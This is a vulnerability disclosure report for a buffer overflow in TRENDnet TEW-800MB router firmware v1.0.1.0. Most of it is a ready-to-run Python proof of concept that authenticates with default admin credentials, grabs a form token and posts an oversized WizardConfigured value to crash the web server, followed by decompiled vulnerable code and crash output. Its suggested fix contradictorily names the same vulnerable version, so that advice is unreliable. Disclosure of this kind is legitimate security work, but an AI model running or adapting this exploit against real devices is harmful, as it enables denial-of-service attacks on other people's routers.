CVE Report - Buffer Overflow Vulnerability in Trendnet fw_tew800mb(v1.0.1.0) Routers

Vulnerability Title

Buffer Overflow Vulnerability in fw_tew800mb(v1.0.1.0) Routers

Vulnerability Description

TRENDnet fw_tew800mb devices have an buffer overflow vulnerability in the sub_29BEC, which allows remote attackers to cause web crash via parameter "WizardConfigured" passed to the binary through a POST request.

POC

```
#coding=gbk
import requests
import base64
import re

if __name__ == '__main__':
    print('start !!! ')

    target = "172.17.0.11"
    username = "admin"
    password = "admin"
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept':
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
```

```
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET",
f'http://{target}/wizard/wizard.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/goform/wizardset"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'token': f'{token_value}',
        'WizardConfigured': 'a'*1000,
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print("end !!! ")
```

Cause Analysis

The Getvalue function accepts external data. The user affects v8 by setting the WizardConfigured value. It cause web server crash.

```
v4 = Getvalue((int)"WizardConfigured");
v6 = (const char *)v4;
if ( v4 )
{
  nvram_set("WizardConfigured", v4);
  memset(v8, 0, sizeof(v8));
  sprintf(v8, "echo %s > /sys/class/net/br0/bridge/redirect_wizard", v6);
```

Attack effect

```
/bin/sh: cannot create /sys/class/net/br0/bridge/redirect_wizard: nonexistent directory
Segmentation fault (core dumped)
```

Suggested Fix

It is recommended to update to the version fw_tew800mb(v1.0.1.0) of router to fix this vulnerability.